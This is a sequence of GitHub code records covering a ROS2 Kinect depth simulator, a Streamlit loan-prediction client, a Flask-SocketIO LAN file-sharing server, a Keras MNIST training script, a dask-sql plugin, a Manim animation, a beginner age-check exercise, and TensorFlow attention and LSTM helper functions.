CvBridge\n\ntry: # for ROS2 run and launch compatibility \n from .utils import CoordinateConverter\n from .rangefinder import build_pixel_rangefinder\n\nexcept ImportError: # for python3 run compatibility\n from utils import CoordinateConverter\n from rangefinder import build_pixel_rangefinder\n\n\nclass KinectSimulator(Node):\n\n def __init__(self):\n super().__init__('kinect_simulator')\n self.variable_init()\n self.connection_init()\n \n\n def variable_init(self):\n self.kinect_height = 0.3 # [m]\n self.wall_height = 0.5 # [m]\n self.max_depth = 10.0 # [m]\n self.hfov = 57*np.pi/180.0 # [rad] (57 [degrees])\n self.vfov = 43*np.pi/180.0 # [rad] (43 [degrees])\n self.view_depth = 4.0 # [m]\n self.min_valid_distance = 0.45 # [m]\n \n self.depth_img_width = 640 # [pix]\n self.depth_img_height = 480 # [pix]\n self.map_resolution = 0.01 # [m/pix]\n\n self.n_h_scans = 50\n self.n_v_scans = int((self.depth_img_height * self.n_h_scans) / self.depth_img_width)\n self.view_depth_pix = self.view_depth / self.map_resolution # [pix]\n self.h_beam_angles = np.linspace(self.hfov/2.0, -self.hfov/2.0, self.n_h_scans)\n self.v_beam_angles = np.linspace(self.vfov/2.0, -self.vfov/2.0, self.n_v_scans)\n\n self.converter = None\n self.mapimg = np.array([])\n self.cv_bridge = CvBridge()\n \n\n def connection_init(self):\n self.pub_depth = self.create_publisher(Image, 'camera/depth/image_raw', 10)\n\n self.sub_map = self.create_subscription(OccupancyGrid, 'map', self.set_map, 10)\n self.sub_real_pose = self.create_subscription(Pose, '/real_pose', self.new_pose, 10)\n \n\n def new_pose(self, pose):\n if len(self.mapimg) == 0:\n return None\n\n depth_image = self.max_depth * np.ones((self.n_v_scans, self.n_h_scans), dtype = np.float32)\n x, y = self.converter.metric2pixel(pose.position.x, pose.position.y)\n \n if y < 0 or self.mapimg.shape[0] <= y or x < 0 or self.mapimg.shape[1] <= x:\n depth_image = cv2.resize(depth_image, (self.depth_img_width, self.depth_img_height))\n msg = self.cv_bridge.cv2_to_imgmsg(depth_image)\n self.pub_depth.publish(msg)\n return None\n \n quat = (pose.orientation.x, pose.orientation.y, pose.orientation.z, pose.orientation.w)\n roll, pitch, yaw = euler_from_quaternion(quat)\n\n robot_pose = (x, y, yaw)\n pixel_lidar, distance_sensor = build_pixel_rangefinder(self.mapimg,\n robot_pose,\n self.hfov,\n self.n_h_scans,\n self.view_depth_pix)\n\n distance_sensor = self.map_resolution * np.array(distance_sensor) # [m]\n distance_sensor = distance_sensor[::-1] # reverse: from left to right\n \n for c, d in enumerate(distance_sensor):\n d = d*np.cos(self.h_beam_angles[c]) # project beam into the robot plane\n\n ceiling_angle = np.arctan2(self.wall_height - self.kinect_height, d)\n ceiling_limit_index = -1\n \n if ceiling_angle < self.vfov/2.0:\n ceiling_indices = np.where(self.v_beam_angles > ceiling_angle)[0]\n depth_image[ceiling_indices,c] = self.max_depth\n ceiling_limit_index = ceiling_indices.max()\n\n ground_angle = np.arctan2(self.kinect_height, d)\n ground_limit_index = self.n_v_scans\n \n if ground_angle < self.vfov/2.0:\n ground_indices = np.where(self.v_beam_angles < -ground_angle)[0]\n for i in ground_indices:\n ground_d = self.kinect_height / np.sin(abs(self.v_beam_angles[i]))\n depth_image[i,c] = ground_d if ground_d >= self.min_valid_distance else float('nan')\n ground_limit_index = ground_indices.min()\n\n if ceiling_limit_index < 0:\n depth_image[0:ground_limit_index,c] = d if d >= self.min_valid_distance else float('nan')\n \n else:\n depth_image[ceiling_limit_index+1:ground_limit_index,c] = d if d >= self.min_valid_distance else float('nan')\n \n depth_image = cv2.resize(depth_image, (self.depth_img_width, self.depth_img_height))\n\n msg = self.cv_bridge.cv2_to_imgmsg(depth_image) #, encoding = '32FC1')\n self.pub_depth.publish(msg)\n\n def set_map(self, occupancy_grid):\n width = occupancy_grid.info.width\n height = occupancy_grid.info.height\n self.map_resolution = occupancy_grid.info.resolution\n self.mapimg = 100 - np.array(occupancy_grid.data).reshape((height, width))\n self.converter = CoordinateConverter(0.0, self.mapimg.shape[0] * self.map_resolution, self.map_resolution)\n self.view_depth_pix = self.view_depth / self.map_resolution # [pix]\n\n\ndef main(args=None):\n rclpy.init(args=args)\n kinect_simulator = KinectSimulator()\n rclpy.spin(kinect_simulator)\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"MonkyDCristian/very_simple_robot_simulator2","sub_path":"very_simple_robot_simulator2/kinect_simulator.py","file_name":"kinect_simulator.py","file_ext":"py","file_size_in_byte":5116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13011336800","text":"import streamlit\nimport requests\nimport json\n\ndef run():\n streamlit.title(\"Loan Classifier\")\n\n Gender = streamlit.selectbox(\"Gender\", ['Male', 'Female'])\n Education = streamlit.selectbox(\"Education\", ['Graduate', 'Not Graduate'])\n Married = streamlit.selectbox(\"Married\", ['Yes', 'No'])\n Self_Employed = streamlit.selectbox(\"Employment\", ['Yes', 'No'])\n Property_Area = streamlit.selectbox(\"Property Area\", ['Urban', 'Rural', 'Semiurban'])\n\n data = {\n 'Gender': Gender,\n 'Education': Education,\n 'Married': Married,\n 'Self_Employed': Self_Employed,\n 'Property_Area': Property_Area,\n }\n\n if streamlit.button(\"Predict\"):\n response = requests.post(\"http://127.0.0.1:8000/predict\", json=data)\n prediction = response.text\n streamlit.success(f\"The prediction from model: {prediction}\")\n\n\nif __name__ == '__main__':\n # by default it will run at 8501 port\n run()","repo_name":"komalparakh05/The-Vectors","sub_path":"Python_notebooks/.ipynb_checkpoints/API_Streamlit_app.py","file_name":"API_Streamlit_app.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16755733323","text":"from flask import Flask, render_template, request, send_file\nfrom flask_socketio import SocketIO, emit\nfrom flask_cors import CORS\nfrom backgroundend.models import Models\nfrom engineio.async_drivers import eventlet\nimport sys\nimport os\n\n\ndef source_path(relative_path):\n # 是否Bundle Resource\n if getattr(sys, 'frozen', False):\n base_path = sys._MEIPASS\n else:\n base_path = os.path.abspath(\"..\")\n return os.path.join(base_path, relative_path)\n\n\nis_share = True\nmodels = Models()\ntemplate_folder = source_path('dist')\nstatic_folder = source_path('dist\\\\assets')\napp = Flask(__name__, template_folder=template_folder, static_folder=static_folder)\napp.config['SECRET_KEY'] = 'secret!'\nsocketio = SocketIO(app, cors_allowed_origins=\"*\", async_mode='eventlet')\ncors = CORS(app, resources={r\"/*\": {\"origins\": \"*\"}})\n\n\n@app.route('/')\ndef index(): # 定义根目录处理器\n return render_template(\"index.html\")\n\n\n@app.route('/download')\ndef download():\n _id = request.args.get('id', '')\n dir_info = models.get_file_dir(_id)\n print(dir_info)\n return send_file(dir_info[\"dir\"])\n\n\n@socketio.on('notice_web', namespace='/ws_sharing')\ndef select_file_result():\n if not is_share:\n result = []\n else:\n result = models.get_now_data()\n emit('select_file_result', {\"data\": result}, namespace=\"/ws_sharing\")\n\n\n@socketio.on('change_share', namespace='/ws_sharing')\ndef change_share_status(val):\n print(\"change_share_status: \", val)\n global is_share\n is_share = val\n emit(\"change_share\", {'data': is_share}, broadcast=True)\n\n\n# update_file_status\n@socketio.on('update_file_status', namespace='/ws_sharing')\ndef update_file_status(kwarg):\n print(type(kwarg), kwarg)\n _id, is_del = kwarg['id'], kwarg['is_del']\n if is_del:\n models.thread_wrapper_run(models.del_file_db, {\"_id\": _id})\n else:\n models.thread_wrapper_run(models.update_file_status, {\"_id\": _id})\n # models.update_file_status(_id)\n\n@socketio.on('connect', namespace='/ws_sharing')\ndef test_connect(message):\n if is_share:\n reset_data = models.init_front_data()\n else:\n reset_data = []\n print(reset_data)\n emit('ws_connect', {\"data\": reset_data})\n\n\n@socketio.on('disconnect', namespace='/ws_sharing')\ndef test_disconnect():\n print('Client disconnected')\n\n\ndef server(is_dev):\n socketio.run(app, host=\"0.0.0.0\", port=\"5001\") # 启动服务\n\n\nif __name__ == '__main__':\n # socketio.init_app(app, async_mode=\"eventlet\", host=\"0.0.0.0\", port=\"5001\")\n socketio.run(app, host=\"0.0.0.0\", port=\"5001\") # 启动服务\n","repo_name":"mygod123982/lan_sharing","sub_path":"backgroundend/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17792185036","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Oct 15 16:44:05 2019\r\n\r\n@author: AZEST-2019-07\r\n\"\"\"\r\n\r\nimport os \r\nimport time\r\nimport numpy as np\r\nimport tensorflow as tf\r\nfrom tensorflow import keras\r\nfrom tensorflow.keras.models import *\r\nfrom tensorflow.keras.metrics import *\r\nfrom tensorflow.keras.layers import *\r\nfrom tensorflow.keras.layers import GaussianDropout\r\nfrom tensorflow.keras.optimizers import *\r\nfrom tensorflow.keras.callbacks import ModelCheckpoint, LearningRateScheduler, TensorBoard\r\nfrom tensorflow.keras import backend as K\r\nfrom tensorflow.keras.utils import to_categorical\r\nfrom sklearn.metrics import f1_score, confusion_matrix, precision_score, recall_score, jaccard_score\r\nfrom keras.datasets import mnist\r\nfrom tensorflow.keras.callbacks import *\r\nimport sys\r\nsys.path.append('C:\\\\Users\\\\AZEST-2019-07\\\\Desktop\\\\pyfiles')\r\nfrom mnistprep import img_train,label_train,img_test,label_test\r\n\r\nbatch_size = 16\r\nnum_classes = 21\r\nepochs = 1\r\n#data_augmentation = True\r\n#num_predictions = 20\r\n#save_dir = os.path.join(os.getcwd(), 'saved_models')\r\n#model_name = 'keras_cifar10_trained_model.h5'\r\n\r\ndef load():\r\n x_train, y_train, x_test, y_test = img_train,label_train,img_test,label_test\r\n \r\n y_train = keras.utils.to_categorical(y_train, num_classes)\r\n y_test = keras.utils.to_categorical(y_test, num_classes)\r\n indices = np.random.permutation(np.arange(x_train.shape[0]))\r\n \r\n \r\n x_train = x_train[indices]\r\n y_train = y_train[indices]\r\n \r\n print('x_train shape:', x_train.shape)\r\n print(x_train.shape[0], 'train samples')\r\n print(x_test.shape[0], 'test samples')\r\n return x_train,y_train,x_test,y_test\r\n\r\nx_train,y_train,x_test,y_test = load()\r\n\r\n\r\ndef ioc_loss(y_true,y_pred):\r\n def jaccard_distance(y_true, y_pred, smooth=100):\r\n \"\"\" Calculates mean of Jaccard distance as a loss function \"\"\"\r\n intersection = K.sum(K.abs(y_true * y_pred))\r\n sum_ = K.sum(K.abs(y_true) + K.abs(y_pred))\r\n jac = (intersection + smooth) / (sum_ - intersection + smooth)\r\n jd = (1 - jac) * smooth\r\n return tf.reduce_mean(jd)\r\n return K.mean(-1*y_true*K.log(y_pred+1/(2^20))) + K.log(jaccard_distance(y_true,y_pred)+1/(2^20))\r\n\r\ndef f1(y_true, y_pred):\r\n def recall(y_true, y_pred):\r\n true_positives = K.sum(K.round(K.clip(y_true * y_pred, 0, 1)))\r\n possible_positives = K.sum(K.round(K.clip(y_true, 0, 1)))\r\n recall = true_positives / (possible_positives + K.epsilon())\r\n return recall\r\n\r\n def precision(y_true, y_pred):\r\n true_positives = K.sum(K.round(K.clip(y_true * y_pred, 0, 1)))\r\n predicted_positives = K.sum(K.round(K.clip(y_pred, 0, 1)))\r\n precision = true_positives / (predicted_positives + K.epsilon())\r\n return precision\r\n precision = precision(y_true, y_pred)\r\n recall = recall(y_true, y_pred)\r\n \r\n return 2*((precision*recall)/(precision+recall+K.epsilon()))\r\n\r\ndef nnBlock(input_shape):\r\n \r\n model = Sequential()\r\n model.add(InputLayer(input_shape=input_shape))\r\n model.add(Conv2D(32, (3, 3), padding='same'))\r\n model.add(Activation('relu'))\r\n model.add(Conv2D(32, (3, 3)))\r\n model.add(Activation('relu'))\r\n model.add(MaxPooling2D(pool_size=(2, 2)))\r\n model.add(Dropout(0.25))\r\n \r\n model.add(Conv2D(64, (3, 3), padding='same'))\r\n model.add(Activation('relu'))\r\n model.add(Conv2D(64, (3, 3)))\r\n model.add(Activation('relu'))\r\n model.add(MaxPooling2D(pool_size=(2, 2)))\r\n model.add(Dropout(0.25))\r\n \r\n model.add(Flatten())\r\n model.add(Dense(168))\r\n model.add(Activation('relu'))\r\n model.add(Dropout(0.25))\r\n model.add(Dense(num_classes))\r\n model.add(Activation('softmax'))\r\n \r\n return model\r\n\r\ndef save_model(model): \r\n json_string = model.to_json()\r\n open('model.json', 'w').write(json_string)\r\n \r\ndef load_model2():\r\n model = load_model('C:\\\\Users\\\\AZEST-2019-07\\\\Desktop\\\\pyfiles\\\\mymodel.h5')\r\n model.load_weights('C:\\\\Users\\\\AZEST-2019-07\\\\Desktop\\\\pyfiles\\\\best_weights.hdf5')\r\n opt = keras.optimizers.Adam(lr=0.0002, beta_1=0.9, beta_2=0.999, epsilon=None, decay=0.0, amsgrad=False)\r\n model.compile(loss='categorical_crossentropy',\r\n optimizer=opt,\r\n metrics=['accuracy'])\r\n return model\r\n\r\ndef train(x_train,y_train,x_test,y_test):\r\n\r\n tensorboard = TensorBoard(log_dir=\"C:\\\\Users\\\\AZEST-2019-07\\\\Desktop\\\\pyfiles\\\\logs\\\\tb1\")\r\n \r\n x_train = x_train.astype('float32')\r\n x_test = x_test.astype('float32')\r\n x_train /= 255\r\n x_test /= 255\r\n# x_train = np.reshape(x_train,(x_train.shape+(1,)))\r\n# x_test = np.reshape(x_test,(x_test.shape+(1,)))\r\n \r\n print(' test... \\n')\r\n print(x_train.shape,x_test.shape,y_train.shape,y_test.shape)\r\n \r\n model = nnBlock((28,28,1))\r\n model.load_weights('C:\\\\Users\\\\AZEST-2019-07\\\\Desktop\\\\pyfiles\\\\best_weights2.hdf5')\r\n print(model.summary())\r\n \r\n opt = keras.optimizers.Adam(lr=0.0002, beta_1=0.9, beta_2=0.999, epsilon=None, decay=0.0, amsgrad=False)\r\n \r\n model.compile(loss='categorical_crossentropy',\r\n optimizer=opt,\r\n metrics=['accuracy'])\r\n \r\n checkpointer = ModelCheckpoint(filepath=\"C:\\\\Users\\\\AZEST-2019-07\\\\Desktop\\\\pyfiles\\\\best_weights.hdf5\", \r\n monitor = 'val_accuracy',\r\n verbose=1, \r\n save_best_only=True)\r\n \r\n history = model.fit(x_train, y_train,batch_size=batch_size,\r\n epochs=epochs,\r\n validation_data=(x_test, y_test),\r\n shuffle=True,callbacks=[tensorboard,checkpointer])\r\n save_model(model)\r\n model.save_weights('C:\\\\Users\\\\AZEST-2019-07\\\\Desktop\\\\pyfiles\\\\best_weights.hdf5')\r\n model.save('C:\\\\Users\\\\AZEST-2019-07\\\\Desktop\\\\pyfiles\\\\mymodel.h5')\r\n\r\ntrain(x_train,y_train,x_test,y_test)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"barathksd/Thyroid-Segmentation","sub_path":"cnndemo.py","file_name":"cnndemo.py","file_ext":"py","file_size_in_byte":5971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32181562535","text":"from typing import TYPE_CHECKING, Any, Union\n\nimport dask.dataframe as dd\n\nfrom dask_sql.datacontainer import DataContainer\nfrom dask_sql.physical.rex import RexConverter\nfrom dask_sql.physical.rex.base import BaseRexPlugin\n\nif TYPE_CHECKING:\n import dask_sql\n from dask_sql._datafusion_lib import Expression, LogicalPlan\n\n\nclass RexAliasPlugin(BaseRexPlugin):\n \"\"\"\n A RexAliasPlugin is an expression, which references a Subquery.\n This plugin is thin on logic, however keeping with previous patterns\n we use the plugin approach instead of placing the logic inline\n \"\"\"\n\n class_name = \"RexAlias\"\n\n def convert(\n self,\n rel: \"LogicalPlan\",\n rex: \"Expression\",\n dc: DataContainer,\n context: \"dask_sql.Context\",\n ) -> Union[dd.Series, Any]:\n # extract the operands; there should only be a single underlying Expression\n operands = rex.getOperands()\n assert len(operands) == 1\n\n sub_rex = operands[0]\n\n value = RexConverter.convert(rel, sub_rex, dc, context=context)\n\n if isinstance(value, DataContainer):\n return value.df\n\n return value\n","repo_name":"dask-contrib/dask-sql","sub_path":"dask_sql/physical/rex/core/alias.py","file_name":"alias.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","stars":336,"dataset":"github-code","pt":"21"} +{"seq_id":"34158836278","text":"from manim import *\n\nclass ImageAnimation(Scene):\n def construct(self):\n # Cargar una imagen PNG\n image = ImageMobject(\"mapa_de_calor.png\") \n\n \n image.scale(1.5)\n\n \n image.move_to(ORIGIN)\n\n \n self.play(FadeIn(image))\n\n\n self.wait(10)\n\n self.play(FadeOut(image))\n","repo_name":"MartinPaGarcia/Developer_Personal_Projects","sub_path":"Python/Manim/animacion_mapa.py","file_name":"animacion_mapa.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"20346778416","text":"#网吧测试年龄\n# 输入用户年龄\n# age = int(input(\"其输入你的年龄:\" ))\n# #判断是否满18岁(>=)\n# if age >= 18:\n# # 如果满18岁,就允许进网吧嗨皮\n# print(\"允许进网吧嗨皮 \")\n# #如果没满18岁,就提示回家写作业\n# else:\n# print(\"回家写作业吧!\")\n\n\n#练习2,if和逻辑运算符应用\n#定义一个整数变量age,编写代码判断年龄是否正确\nage = int(input(\"输入您的年龄\"))\n# 要求人的年龄在0—120岁之间\n\"\"\"\n先分步判断:\n先定一个数 1000\n选逻辑运算符\nage >= 0 or age <=120\nage >=0 and age <=120\n\"\"\"\nif age >=0 and age <=120:\n print(\"年龄正确\")\nelse:\n print(\"年龄不正确\")\n\n","repo_name":"lianghanwu1999/Python","sub_path":"python基础部分/python顺序输入训练/if语句_年龄判断练习.py","file_name":"if语句_年龄判断练习.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"74901545973","text":"import tensorflow as tf\nfrom tensorflow.python.ops import nn_ops\n\ndef my_lstm_layer(input_reps, lstm_dim, scope_name=None, reuse=False, is_training=True, dropout_rate=0.2):\n '''\n :param inputs: [batch_size, seq_len, feature_dim]\n :param lstm_dim:\n :param scope_name:\n :param reuse:\n :param is_training:\n :param dropout_rate:\n :return:\n '''\n with tf.variable_scope(scope_name, reuse=reuse):\n inputs = tf.transpose(input_reps, [1, 0, 2])\n inputs = dropout_layer(inputs, dropout_rate, is_training=is_training)\n lstm = tf.contrib.cudnn_rnn.CudnnLSTM(1, lstm_dim, direction=\"bidirectional\",\n name=\"{}_cudnn_bi_lstm\".format(scope_name), dropout=0)\n # name=\"{}_cudnn_bi_lstm\".format(scope_name), dropout=dropout_rate if is_training else 0)\n outputs, _ = lstm(inputs)\n outputs = tf.transpose(outputs, [1, 0, 2])\n f_rep = outputs[:, :, 0:lstm_dim]\n b_rep = outputs[:, :, lstm_dim:2*lstm_dim]\n return (f_rep,b_rep, outputs)\n\ndef dropout_layer(input_reps, dropout_rate, is_training=True):\n if is_training:\n output_repr = tf.nn.dropout(input_reps, (1 - dropout_rate))\n else:\n output_repr = input_reps\n return output_repr\n\ndef cosine_distance(y1,y2, cosine_norm=True, eps=1e-6):\n # cosine_norm = True\n # y1 [....,a, 1, d]\n # y2 [....,1, b, d]\n cosine_numerator = tf.reduce_sum(tf.multiply(y1, y2), axis=-1)\n if not cosine_norm:\n return tf.tanh(cosine_numerator)\n y1_norm = tf.sqrt(tf.maximum(tf.reduce_sum(tf.square(y1), axis=-1), eps))\n y2_norm = tf.sqrt(tf.maximum(tf.reduce_sum(tf.square(y2), axis=-1), eps))\n return cosine_numerator / y1_norm / y2_norm\n\ndef euclidean_distance(y1, y2, eps=1e-6):\n distance = tf.sqrt(tf.maximum(tf.reduce_sum(tf.square(y1 - y2), axis=-1), eps))\n return distance\n\ndef softmax_with_mask(values, mask):\n # e_x = np.exp(x - np.max(x))\n # return e_x / e_x.sum()\n e_x = tf.exp(values - tf.expand_dims(tf.reduce_max(values, axis=-1), axis=-1))\n # e_x *= tf.expand_dims(mask, axis=-1)\n e_x += 1e-6\n e_x *= mask\n return e_x / (tf.expand_dims(tf.reduce_sum(e_x, axis=-1), axis=-1) + 1e-6)\n\ndef cross_entropy(logits, truth, mask=None):\n # logits: [batch_size, passage_len]\n # truth: [batch_size, passage_len]\n # mask: [batch_size, passage_len]\n if mask is not None: logits = tf.multiply(logits, mask)\n xdev = tf.subtract(logits, tf.expand_dims(tf.reduce_max(logits, 1), -1))\n log_predictions = tf.subtract(xdev, tf.expand_dims(tf.log(tf.reduce_sum(tf.exp(xdev),-1)),-1))\n result = tf.multiply(truth, log_predictions) # [batch_size, passage_len]\n if mask is not None: result = tf.multiply(result, mask) # [batch_size, passage_len]\n return tf.multiply(-1.0,tf.reduce_sum(result, -1)) # [batch_size]\n\ndef projection_layer(in_val, input_size, output_size, activation_func=tf.tanh, scope=None):\n # in_val: [batch_size, passage_len, dim]\n input_shape = tf.shape(in_val)\n batch_size = input_shape[0]\n passage_len = input_shape[1]\n# feat_dim = input_shape[2]\n in_val = tf.reshape(in_val, [batch_size * passage_len, input_size])\n with tf.variable_scope(scope or \"projection_layer\"):\n full_w = tf.get_variable(\"full_w\", [input_size, output_size], dtype=tf.float32)\n full_b = tf.get_variable(\"full_b\", [output_size], dtype=tf.float32)\n outputs = activation_func(tf.nn.xw_plus_b(in_val, full_w, full_b))\n outputs = tf.reshape(outputs, [batch_size, passage_len, output_size])\n return outputs # [batch_size, passage_len, output_size]\n\ndef highway_layer(in_val, output_size, activation_func=tf.tanh, scope=None):\n # in_val: [batch_size, passage_len, dim]\n input_shape = tf.shape(in_val)\n batch_size = input_shape[0]\n passage_len = input_shape[1]\n# feat_dim = input_shape[2]\n in_val = tf.reshape(in_val, [batch_size * passage_len, output_size])\n with tf.variable_scope(scope or \"highway_layer\"):\n highway_w = tf.get_variable(\"highway_w\", [output_size, output_size], dtype=tf.float32)\n highway_b = tf.get_variable(\"highway_b\", [output_size], dtype=tf.float32)\n full_w = tf.get_variable(\"full_w\", [output_size, output_size], dtype=tf.float32)\n full_b = tf.get_variable(\"full_b\", [output_size], dtype=tf.float32)\n trans = activation_func(tf.nn.xw_plus_b(in_val, full_w, full_b))\n gate = tf.nn.sigmoid(tf.nn.xw_plus_b(in_val, highway_w, highway_b))\n outputs = tf.add(tf.multiply(trans, gate), tf.multiply(in_val, tf.subtract(1.0, gate)), \"y\")\n outputs = tf.reshape(outputs, [batch_size, passage_len, output_size])\n return outputs\n\ndef multi_highway_layer(in_val, output_size, num_layers, activation_func=tf.tanh, scope_name=None, reuse=False):\n with tf.variable_scope(scope_name, reuse=reuse):\n for i in xrange(num_layers):\n cur_scope_name = scope_name + \"-{}\".format(i)\n in_val = highway_layer(in_val, output_size,activation_func=activation_func, scope=cur_scope_name)\n return in_val\n\ndef collect_representation2(representation, positions):\n '''\n :param representation: [batch_size, passsage_length, dim]\n :param positions: [batch_size, num_positions]\n :return:\n '''\n def singel_instance(x):\n # x[0]: [passage_length, dim]\n # x[1]: [num_positions]\n return tf.gather(x[0], x[1])\n elems = (representation, positions)\n return tf.map_fn(singel_instance, elems, dtype=tf.float32) # [batch_size, num_positions, dim]\n\ndef collect_representation(representation, positions):\n # representation: [batch_size, node_num, feature_dim]\n # positions: [batch_size, neigh_num]\n return collect_probs(representation, positions)\n\n\ndef collect_final_step_of_lstm(lstm_representation, lengths):\n # lstm_representation: [batch_size, passsage_length, dim]\n # lengths: [batch_size]\n lengths = tf.maximum(lengths, tf.zeros_like(lengths, dtype=tf.int32))\n\n batch_size = tf.shape(lengths)[0]\n batch_nums = tf.range(0, limit=batch_size) # shape (batch_size)\n indices = tf.stack((batch_nums, lengths), axis=1) # shape (batch_size, 2)\n result = tf.gather_nd(lstm_representation, indices, name='last-forwar-lstm')\n return result # [batch_size, dim]\n\ndef collect_probs(probs, positions):\n # probs [batch_size, chunks_size]\n # positions [batch_size, pair_size]\n batch_size = tf.shape(probs)[0]\n pair_size = tf.shape(positions)[1]\n batch_nums = tf.range(0, limit=batch_size) # shape (batch_size)\n batch_nums = tf.reshape(batch_nums, shape=[-1, 1]) # [batch_size, 1]\n batch_nums = tf.tile(batch_nums, multiples=[1, pair_size]) # [batch_size, pair_size]\n\n indices = tf.stack((batch_nums, positions), axis=2) # shape (batch_size, pair_size, 2)\n pair_probs = tf.gather_nd(probs, indices)\n # pair_probs = tf.reshape(pair_probs, shape=[batch_size, pair_size])\n return pair_probs\n\ndef calcuate_attention(in_value_1, in_value_2, feature_dim1, feature_dim2, scope_name='att',\n att_type='symmetric', att_dim=20, remove_diagnoal=False, mask1=None, mask2=None,\n is_training=False, dropout_rate=0.2, cosine_attention_scale=200):\n input_shape = tf.shape(in_value_1)\n batch_size = input_shape[0]\n len_1 = input_shape[1]\n len_2 = tf.shape(in_value_2)[1]\n\n in_value_1 = dropout_layer(in_value_1, dropout_rate, is_training=is_training)\n in_value_2 = dropout_layer(in_value_2, dropout_rate, is_training=is_training)\n with tf.variable_scope(scope_name):\n if att_type != 'cosine' and att_type != 'dot':\n # calculate attention ==> a: [batch_size, len_1, len_2]\n atten_w1 = tf.get_variable(\"atten_w1\", [feature_dim1, att_dim], dtype=tf.float32)\n atten_value_1 = tf.matmul(tf.reshape(in_value_1, [batch_size * len_1, feature_dim1]), atten_w1) # [batch_size*len_1, feature_dim]\n\n if feature_dim1 == feature_dim2: atten_w2 = atten_w1\n else: atten_w2 = tf.get_variable(\"atten_w2\", [feature_dim2, att_dim], dtype=tf.float32)\n # atten_w2 = tf.get_variable(\"atten_w2\", [feature_dim2, att_dim], dtype=tf.float32)\n atten_value_2 = tf.matmul(tf.reshape(in_value_2, [batch_size * len_2, feature_dim2]), atten_w2) # [batch_size*len_2, feature_dim]\n\n if att_type == 'additive':\n atten_value_1 = tf.reshape(atten_value_1, [batch_size, len_1, att_dim])\n atten_value_2 = tf.reshape(atten_value_2, [batch_size, len_2, att_dim])\n\n atten_b = tf.get_variable(\"atten_b\", [att_dim], dtype=tf.float32)\n atten_v = tf.get_variable(\"atten_v\", [1, att_dim], dtype=tf.float32)\n atten_value_1 = tf.expand_dims(atten_value_1, axis=2, name=\"atten_value_1\") # [batch_size, len_1, 'x', feature_dim]\n atten_value_2 = tf.expand_dims(atten_value_2, axis=1, name=\"atten_value_2\") # [batch_size, 'x', len_2, feature_dim]\n atten_value = atten_value_1 + atten_value_2 # + tf.expand_dims(tf.expand_dims(tf.expand_dims(atten_b, axis=0), axis=0), axis=0)\n atten_value = nn_ops.bias_add(atten_value, atten_b)\n atten_value = tf.tanh(atten_value) # [batch_size, len_1, len_2, feature_dim]\n atten_value = tf.reshape(atten_value, [-1, att_dim]) * atten_v # tf.expand_dims(atten_v, axis=0) # [batch_size*len_1*len_2, feature_dim]\n atten_value = tf.reduce_sum(atten_value, axis=-1)\n atten_value = tf.reshape(atten_value, [batch_size, len_1, len_2])\n elif att_type == 'symmetric':\n atten_value_1 = tf.nn.relu(atten_value_1) # [batch_size*len1, att_dim]\n atten_value_2 = tf.nn.relu(atten_value_2) # [batch_size*len2, att_dim]\n D_in = tf.get_variable(\"diagonal_{}\".format(scope_name), [att_dim], dtype=tf.float32) # att_dim\n D = D_in * tf.diag(tf.ones([att_dim], tf.float32), name='diagonal') # att_dim xatt_dim\n atten_value_1 = tf.matmul(atten_value_1, D) # [batch_size*len1, att_dim]\n atten_value_1 = tf.reshape(atten_value_1, [batch_size, len_1, att_dim])\n atten_value_2 = tf.reshape(atten_value_2, [batch_size, len_2, att_dim])\n atten_value = tf.matmul(atten_value_1, atten_value_2, transpose_b=True) # [batch_size, len_1, len_2]\n elif att_type == 'cosine':\n atten_value = cal_relevancy_matrix(in_value_2, in_value_1)\n atten_value = atten_value * cosine_attention_scale\n elif att_type == 'dot':\n atten_value = tf.matmul(in_value_1, in_value_2, transpose_b=True)\n else:\n atten_value_1 = tf.tanh(atten_value_1)\n # atten_value_1 = tf.nn.relu(atten_value_1)\n atten_value_2 = tf.tanh(atten_value_2)\n # atten_value_2 = tf.nn.relu(atten_value_2)\n diagnoal_params = tf.get_variable(\"diagonal_params\", [att_dim], dtype=tf.float32)\n atten_value_1 = atten_value_1 * tf.expand_dims(diagnoal_params, axis=0)\n atten_value_1 = tf.reshape(atten_value_1, [batch_size, len_1, att_dim])\n atten_value_2 = tf.reshape(atten_value_2, [batch_size, len_2, att_dim])\n atten_value = tf.matmul(atten_value_1, atten_value_2, transpose_b=True) # [batch_size, len_1, len_2]\n\n if remove_diagnoal:\n diagnoal = tf.ones([len_1], tf.float32) # [len1]\n diagnoal = 1.0 - tf.diag(diagnoal) # [len1, len1]\n diagnoal = tf.expand_dims(diagnoal, axis=0) # ['x', len1, len1]\n atten_value = atten_value * diagnoal\n if mask1 is not None: atten_value = tf.multiply(atten_value, tf.expand_dims(mask1, axis=-1))\n if mask2 is not None: atten_value = tf.multiply(atten_value, tf.expand_dims(mask2, axis=1))\n # normalize\n # atten_value = tf.nn.softmax(atten_value, name='atten_value') # [batch_size, len_1, len_2]\n atten_value = softmax_with_mask(atten_value, tf.expand_dims(mask2, axis=1))\n if remove_diagnoal: atten_value = atten_value * diagnoal\n if mask1 is not None: atten_value = tf.multiply(atten_value, tf.expand_dims(mask1, axis=-1))\n if mask2 is not None: atten_value = tf.multiply(atten_value, tf.expand_dims(mask2, axis=1))\n\n return atten_value\n\n\ndef calcuate_attention_bak(in_value_1, in_value_2, feature_dim1, feature_dim2, scope_name='att',\n att_type='symmetric', att_dim=20, remove_diagnoal=False, mask1=None, mask2=None, is_training=False, dropout_rate=0.2,\n cosine_attention_scale=200):\n input_shape = tf.shape(in_value_1)\n batch_size = input_shape[0]\n len_1 = input_shape[1]\n len_2 